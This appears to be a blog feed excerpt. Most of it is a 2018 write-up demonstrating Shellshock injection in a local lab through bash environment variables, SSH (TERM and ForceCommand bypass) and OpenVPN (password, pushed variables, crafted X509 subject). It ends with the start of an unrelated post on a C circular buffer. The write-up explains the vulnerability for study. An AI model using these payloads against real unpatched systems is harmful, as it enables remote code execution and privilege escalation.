&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;X&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;() { :;}; cd /home ; echo &amp;quot;foo&amp;quot; &amp;gt; bar &amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;bash&lt;span class="w"&gt; &lt;/span&gt;-r&lt;span class="w"&gt; &lt;/span&gt;-c&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;egrep&amp;#39;&lt;/span&gt;
&amp;lt;...&amp;gt;

$&lt;span class="w"&gt; &lt;/span&gt;cat&lt;span class="w"&gt; &lt;/span&gt;/home/bar
foo
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;!--
$ rm -f /home/bar # clean up
--&gt;
&lt;p&gt;&lt;label for='CkkgYW0gc3VyZSB0aGF0IHRoZXJlIGFyZSBvdGhlciBjbGV2ZXIKYW5kIGNyZWF0aXZlIHdheXMgdG8gKnByaXYgZXNjKiB1c2luZyBzaGVsbHNob2NrIGJlc2lkZXMgdXNpbmcgYQpgYHNldHVpZGBgIHByb2dyYW0uCm1hcmdpbm5vdGVz' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CkkgYW0gc3VyZSB0aGF0IHRoZXJlIGFyZSBvdGhlciBjbGV2ZXIKYW5kIGNyZWF0aXZlIHdheXMgdG8gKnByaXYgZXNjKiB1c2luZyBzaGVsbHNob2NrIGJlc2lkZXMgdXNpbmcgYQpgYHNldHVpZGBgIHByb2dyYW0uCm1hcmdpbm5vdGVz' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
I am sure that there are other clever and creative ways to &lt;em&gt;priv esc&lt;/em&gt; using shellshock besides using a &lt;code&gt;setuid&lt;/code&gt; program.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;If you think, this can be used for a privilege escalation: running as a normal user, if a &lt;code&gt;setuid&lt;/code&gt; program spawn a shell you will get a path to root pretty straightforward.&lt;/p&gt;
&lt;h2 id="ssh"&gt;SSH&lt;/h2&gt;
&lt;p&gt;SSH will send some environment variables by default, like &lt;code&gt;TERM&lt;/code&gt; regardless of the configuration of the server or client as long as we allocate a remote pseudo-terminal (&lt;code&gt;-t&lt;/code&gt;)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;quot; [...] the TERM environment variable is always sent whenever
a pseudo-terminal is requested as it is required by the protocol.&amp;quot;&lt;/code&gt;&lt;/pre&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;TERM&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;() { :;}; /bin/echo vuln&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;ssh&lt;span class="w"&gt; &lt;/span&gt;-t&lt;span class="w"&gt; &lt;/span&gt;-p&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2201&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;127&lt;/span&gt;.0.0.1&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;exit&lt;/span&gt;
vuln&amp;lt;...&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This may seems pointless because we have a remote shell anyways.&lt;/p&gt;
&lt;p&gt;But SSH has a &lt;code&gt;ForceCommand&lt;/code&gt; option that set a command to be executed when the user logs in, ignoring any command supplied by him.&lt;/p&gt;
&lt;p&gt;This is used by some folks to restrict the access to the system, typically setting this to &lt;code&gt;/bin/false&lt;/code&gt; or something like that:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;ssh&lt;span class="w"&gt; &lt;/span&gt;-p&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2202&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;127&lt;/span&gt;.0.0.1&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;ls&amp;#39;&lt;/span&gt;
No&lt;span class="w"&gt; &lt;/span&gt;shell&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;you.&lt;span class="w"&gt; &lt;/span&gt;Sorry.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;But the forced command is executed by the user’s shell configured in the server. If this one is Bash, we can bypass the restriction.&lt;/p&gt;
&lt;p&gt;This option opens another crack as it sets the &lt;code&gt;SSH_ORIGINAL_COMMAND&lt;/code&gt; environment variable with the value of the intended and ignored command.&lt;/p&gt;
&lt;p&gt;So, if instead &lt;code&gt;ls&lt;/code&gt; we set our magic runes we will get remote execution:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;ssh&lt;span class="w"&gt; &lt;/span&gt;-p&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2202&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;127&lt;/span&gt;.0.0.1&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;() { :;}; /bin/echo vuln&amp;#39;&lt;/span&gt;
vuln
&amp;lt;...&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="openvpn"&gt;OpenVPN&lt;/h2&gt;
&lt;p&gt;&lt;label for='CkJ5IHRoZSB3YXksIHRoZSBbT3BlblZQTl0oaHR0cHM6Ly9naXRodWIuY29tL09wZW5WUE4vb3BlbnZwbi90cmVlL21hc3Rlci9zYW1wbGUpCnJlcG9zaXRvcnkgaGFzIGEgdmVyeSBjb21wbGV0ZSBzY3JpcHQgdGhhdApzaG93cyB5b3UgaG93IHRvIGNyZWF0ZSBDQSwgQ2VydHMgYW5kIG90aGVyIHN0dWZmLiBOaWNlIQptYXJnaW5ub3Rlcw==' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CkJ5IHRoZSB3YXksIHRoZSBbT3BlblZQTl0oaHR0cHM6Ly9naXRodWIuY29tL09wZW5WUE4vb3BlbnZwbi90cmVlL21hc3Rlci9zYW1wbGUpCnJlcG9zaXRvcnkgaGFzIGEgdmVyeSBjb21wbGV0ZSBzY3JpcHQgdGhhdApzaG93cyB5b3UgaG93IHRvIGNyZWF0ZSBDQSwgQ2VydHMgYW5kIG90aGVyIHN0dWZmLiBOaWNlIQptYXJnaW5ub3Rlcw==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
By the way, the &lt;a href="https://github.com/OpenVPN/openvpn/tree/master/sample"&gt;OpenVPN&lt;/a&gt; repository has a very complete script that shows you how to create CA, Certs and other stuff. Nice!
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;In the following examples the &lt;a href="/assets/bash/shellshock/files"&gt;configuration files&lt;/a&gt; &lt;code&gt;vpn-srv.conf&lt;/code&gt; and &lt;code&gt;vpn-cli.conf&lt;/code&gt; sets the IP addresses, ports and certificates: standard stuff.&lt;/p&gt;
&lt;p&gt;In each example I am passing the extra parameters that enable the attack explicitly via command line.&lt;/p&gt;
&lt;h3 id="user-and-pass"&gt;User and Pass&lt;/h3&gt;
&lt;p&gt;In this first scenario the server uses a Bash script to verify the user’s name and password.&lt;/p&gt;
&lt;p&gt;To open the door to the vulnerability, the server must pass the credentials using environment variables.&lt;/p&gt;
&lt;p&gt;OpenVPN will reject this by default so we need to set the highest security level with &lt;code&gt;--script-security 3&lt;/code&gt; to allow this.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;openvpn&lt;span class="w"&gt; &lt;/span&gt;--config&lt;span class="w"&gt; &lt;/span&gt;vpn-srv.conf&lt;span class="w"&gt; &lt;/span&gt;--auth-user-pass-verify&lt;span class="w"&gt; &lt;/span&gt;login.sh&lt;span class="w"&gt; &lt;/span&gt;via-env&lt;span class="w"&gt; &lt;/span&gt;--mode&lt;span class="w"&gt; &lt;/span&gt;server&lt;span class="w"&gt; &lt;/span&gt;--script-security&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;/dev/null&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;
&amp;lt;...&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;From the client side, the magic runes need to be in the credential file, in the place of the password:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;openvpn&lt;span class="w"&gt; &lt;/span&gt;--config&lt;span class="w"&gt; &lt;/span&gt;vpn-cli.conf&lt;span class="w"&gt; &lt;/span&gt;--auth-user-pass&lt;span class="w"&gt; &lt;/span&gt;evil-cred&lt;span class="w"&gt; &lt;/span&gt;--pull&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;/dev/null&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;# byexample: +stop-on-silence +timeout=5&lt;/span&gt;
&amp;lt;...&amp;gt;

$&lt;span class="w"&gt; &lt;/span&gt;cat&lt;span class="w"&gt; &lt;/span&gt;evil-cred
foo
&lt;span class="o"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;:&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;/bin/touch&lt;span class="w"&gt; &lt;/span&gt;pwned
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;!--
$ rm -f pwned # clean up
$ killall openvpn ; wait  # byexample: +pass
--&gt;
&lt;p&gt;And &lt;em&gt;presto&lt;/em&gt;, the client has remote execution in the server.&lt;/p&gt;
&lt;p&gt;But, only in the password…. Why?&lt;/p&gt;
&lt;p&gt;The runes need to be in the password, because it is not &lt;em&gt;remapped&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;OpenVPN remaps the values of the env variables allowing a very reduced set of symbols; the password is not affected, thanks God!&lt;/p&gt;
&lt;p&gt;It could be in the username too as starting OpenVPN 2.0.1 it is not remapped any more when it is passed to &lt;code&gt;OPENVPN_PLUGIN_AUTH_USER_PASS_VERIFY&lt;/code&gt; plugin.&lt;/p&gt;
&lt;p&gt;If this is vulnerable or not is another story.&lt;/p&gt;
&lt;h3 id="push-and-pull"&gt;Push and Pull&lt;/h3&gt;
&lt;p&gt;Now the roles are inverted here.&lt;/p&gt;
&lt;p&gt;In this case the server will set up a trap to get remote execution on the client side.&lt;/p&gt;
&lt;p&gt;For this, it pushes a environment variable to the client with the magic runes:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;openvpn&lt;span class="w"&gt; &lt;/span&gt;--config&lt;span class="w"&gt; &lt;/span&gt;vpn-srv.conf&lt;span class="w"&gt; &lt;/span&gt;--push&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;setenv-safe Z &amp;quot;() { :;}; /bin/touch pwned&amp;quot;&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;
&amp;lt;...&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The client needs to &lt;em&gt;pull&lt;/em&gt; the variables and execute some external script.&lt;/p&gt;
&lt;p&gt;I chose &lt;code&gt;--up&lt;/code&gt; but other should work&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;openvpn&lt;span class="w"&gt; &lt;/span&gt;--config&lt;span class="w"&gt; &lt;/span&gt;vpn-cli.conf&lt;span class="w"&gt; &lt;/span&gt;--up&lt;span class="w"&gt; &lt;/span&gt;env.sh&lt;span class="w"&gt; &lt;/span&gt;--script-security&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;--pull&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;# byexample: +stop-on-silence +timeout=5&lt;/span&gt;
&amp;lt;...&amp;gt;

$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-e&lt;span class="w"&gt; &lt;/span&gt;pwned&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;you&amp;#39;ve been pwned&amp;quot;&lt;/span&gt;
you&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;ve&lt;span class="w"&gt; &lt;/span&gt;been&lt;span class="w"&gt; &lt;/span&gt;pwned
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;!--
$ rm -f pwned # clean up
$ killall openvpn ; wait  # byexample: +pass
--&gt;
&lt;p&gt;The &lt;code&gt;setenv-safe&lt;/code&gt; sets an environment variable with a safe name (prefixed with &lt;code&gt;OPENVPN&lt;/code&gt;) but the trick is not in the name but in its content.&lt;/p&gt;
&lt;p&gt;The client will execute a shell script (needs at least &lt;code&gt;--script-security 2&lt;/code&gt;) and the malicious env var will be pushed to the client, executed and exploited.&lt;/p&gt;
&lt;h3 id="x509-param"&gt;X509 param&lt;/h3&gt;
&lt;p&gt;This one is tricky.&lt;/p&gt;
&lt;p&gt;All the scripts that OpenVPN can execute receive a &lt;em&gt;remapped&lt;/em&gt; version of the environment variables.&lt;/p&gt;
&lt;p&gt;Depending of the variable the remap allows more or less character but in any case the remap process destroys the magic runes.&lt;/p&gt;
&lt;p&gt;But the are exceptions: &lt;code&gt;password&lt;/code&gt; as it was mentioned before and &lt;code&gt;X509_{n}_{m}&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;When a endpoint uses an external script to validate the TLS identity through &lt;code&gt;--tls-verify&lt;/code&gt;, it receives an environment variable for each part of the &lt;code&gt;Subject&lt;/code&gt; of the both certificates: the client’s and the server’s.&lt;/p&gt;
&lt;p&gt;Here the server sets up an evil certificate:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;openvpn&lt;span class="w"&gt; &lt;/span&gt;--config&lt;span class="w"&gt; &lt;/span&gt;vpn-srv.conf&lt;span class="w"&gt; &lt;/span&gt;--cert&lt;span class="w"&gt; &lt;/span&gt;evil.crt&lt;span class="w"&gt; &lt;/span&gt;--key&lt;span class="w"&gt; &lt;/span&gt;evil.key&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;/dev/null&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;
&amp;lt;...&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The malicious certificate has a crafted &lt;code&gt;emailAddress&lt;/code&gt; inside of the &lt;code&gt;Subject&lt;/code&gt; that has the incantation.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;openssl&lt;span class="w"&gt; &lt;/span&gt;x509&lt;span class="w"&gt; &lt;/span&gt;-in&lt;span class="w"&gt; &lt;/span&gt;evil.crt&lt;span class="w"&gt; &lt;/span&gt;-text
Certificate:
&lt;span class="w"&gt;    &lt;/span&gt;Data:
&lt;span class="w"&gt;        &lt;/span&gt;Version:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;0x2&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;Serial&lt;span class="w"&gt; &lt;/span&gt;Number:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;0x2&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;Signature&lt;span class="w"&gt; &lt;/span&gt;Algorithm:&lt;span class="w"&gt; &lt;/span&gt;sha256WithRSAEncryption
&lt;span class="w"&gt;        &lt;/span&gt;&amp;lt;...&amp;gt;
&lt;span class="w"&gt;        &lt;/span&gt;Subject:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;C&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;KG,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;ST&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;NA,&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;...&amp;gt;emailAddress&lt;span class="o"&gt;=()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;:&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;/bin/cp&lt;span class="w"&gt; &lt;/span&gt;/bin/cp&lt;span class="w"&gt; &lt;/span&gt;/
&amp;lt;...&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;On the client side, we just have to verify TLS with a script and allow it to run with &lt;code&gt;--script-security 2&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;openvpn&lt;span class="w"&gt; &lt;/span&gt;--config&lt;span class="w"&gt; &lt;/span&gt;vpn-cli.conf&lt;span class="w"&gt; &lt;/span&gt;--tls-verify&lt;span class="w"&gt; &lt;/span&gt;env.sh&lt;span class="w"&gt; &lt;/span&gt;--script-security&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;# byexample: +stop-on-silence +timeout=5&lt;/span&gt;
&amp;lt;...&amp;gt;

$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-e&lt;span class="w"&gt; &lt;/span&gt;/cp&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;you&amp;#39;ve been pwned&amp;quot;&lt;/span&gt;
you&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;ve&lt;span class="w"&gt; &lt;/span&gt;been&lt;span class="w"&gt; &lt;/span&gt;pwned
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The variables &lt;code&gt;X509_{n}_{m}&lt;/code&gt; will contain the &lt;em&gt;raw&lt;/em&gt; pieces of &lt;code&gt;Subject&lt;/code&gt; of the client’s certificate (&lt;code&gt;{n} = 1&lt;/code&gt;) and the server’s certificate (&lt;code&gt;{n} = 0&lt;/code&gt;) where &lt;code&gt;{m}&lt;/code&gt; will have the &lt;code&gt;Subject&lt;/code&gt;’s field name, like &lt;code&gt;emailAddress&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Does it mean that we can reverse the roles and exploit the server? Who knows.&lt;/p&gt;
&lt;p&gt;In my container lab I couldn’t trigger the bug: it seems that the server verification fails but it doesn’t execute the payload.&lt;/p&gt;
&lt;p&gt;So in theory yes, but I don’t have evidence.&lt;/p&gt;
&lt;!--
$ rm -f cp  # clean up
$ killall openvpn ; wait  # byexample: +pass
--&gt;
&lt;h2 id="final-thoughts"&gt;Final thoughts&lt;/h2&gt;
&lt;p&gt;What I can say? Having a remote execution crafting a X509 attribute writing just &lt;code&gt;() {&lt;/code&gt; makes me think about the complexity of the software with a smile in my face.&lt;/p&gt;
&lt;p&gt;&lt;label for='ClNlZSB0aGVzZSBpbiBbbGNhbXR1ZidzIHBvc3RdKGh0dHBzOi8vbGNhbXR1Zi5ibG9nc3BvdC5jb20vMjAxNC8xMC9iYXNoLWJ1Zy1ob3ctd2UtZmluYWxseS1jcmFja2VkLmh0bWwpCm1hcmdpbm5vdGVz' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='ClNlZSB0aGVzZSBpbiBbbGNhbXR1ZidzIHBvc3RdKGh0dHBzOi8vbGNhbXR1Zi5ibG9nc3BvdC5jb20vMjAxNC8xMC9iYXNoLWJ1Zy1ob3ctd2UtZmluYWxseS1jcmFja2VkLmh0bWwpCm1hcmdpbm5vdGVz' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
See these in &lt;a href="https://lcamtuf.blogspot.com/2014/10/bash-bug-how-we-finally-cracked.html"&gt;lcamtuf’s post&lt;/a&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;There are more vulnerabilities and &lt;a href="https://github.com/mubix/shellshocker-pocs"&gt;vectors&lt;/a&gt; out there than the shown here: Web Servers, CUPS, DHCP.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Shellshock&lt;/code&gt; came up 4 years ago and it is still surprising me.&lt;/p&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2018/10/01/Magic-Bash-Runes.html" rel="alternate" type="text/html" title="() { Magic Bash Runes"/>
    <category term="bash" label="bash"/>
    <category term="shellshock" label="shellshock"/>
    <category term="hacking" label="hacking"/>
    <published>2018-10-01T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2018/09/16/Ouroboros-Circular-Buffer.html</id>
    <title>Ouroboros - Circular Buffer</title>
    <updated>2018-09-16T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;circular_buffer&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is a simple but quite efficient implementation of a circular buffer over a continuous and finite memory slice.&lt;/p&gt;
&lt;p&gt;The name &lt;a href="https://en.wikipedia.org/wiki/Ouroboros"&gt;Ouroboros&lt;/a&gt; comes from the Ancient Greek and symbolize a snake eating its own tail – a convenient image for a circular buffer.&lt;/p&gt;
&lt;p&gt;Source code can be found in the &lt;a href="https://github.com/eldipa/tiburoncin"&gt;tiburoncin project&lt;/a&gt;. Enjoy it!&lt;!--more--&gt;&lt;/p&gt;
&lt;h3 id="playing-with-a-circular-buffer"&gt;Playing with a Circular Buffer&lt;/h3&gt;
&lt;p&gt;&lt;label for='CllvdSBjYW4gcnVuIHRoaXMgY29kZSB3aXRoIFtjbGluZ10oaHR0cHM6Ly9naXRodWIuY29tL3Jvb3QtcHJvamVjdC9jbGluZykKYW5kIFtieWV4YW1wbGVdKGh0dHBzOi8vYnlleGFtcGxlcy5naXRodWIuaW8vYnlleGFtcGxlLykKbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CllvdSBjYW4gcnVuIHRoaXMgY29kZSB3aXRoIFtjbGluZ10oaHR0cHM6Ly9naXRodWIuY29tL3Jvb3QtcHJvamVjdC9jbGluZykKYW5kIFtieWV4YW1wbGVdKGh0dHBzOi8vYnlleGFtcGxlcy5naXRodWIuaW8vYnlleGFtcGxlLykKbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
You can run this code with &lt;a href="https://github.com/root-project/cling"&gt;cling&lt;/a&gt; and &lt;a href="https://byexamples.github.io/byexample/"&gt;byexample&lt;/a&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;First, let’s load this module to play with it:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;?:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;circular_buffer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;
&lt;span class="o"&gt;?:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="n"&gt;include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;circular_buffer.h&amp;quot;&lt;/span&gt;
&lt;span class="o"&gt;?:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="n"&gt;include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now, let’s create a buffer of 16 bytes:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;?:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;circular_buffer_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="o"&gt;?:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;circular_buffer_init&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The circular buffer has 2 pointers, the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; that mark the end of the data and the begin of the &lt;em&gt;free space&lt;/em&gt; and the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;tail&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, which it is the opposite of the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;At the begin, both pointers point to the same place, the &lt;em&gt;free space&lt;/em&gt; has the size of the whole buffer and the &lt;em&gt;ready space&lt;/em&gt; is empty:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;img  class='' alt='' src='/img/queues/circular-buffer/buffer_0_0.png' /&gt;&lt;/figure&gt;&lt;/p&gt;
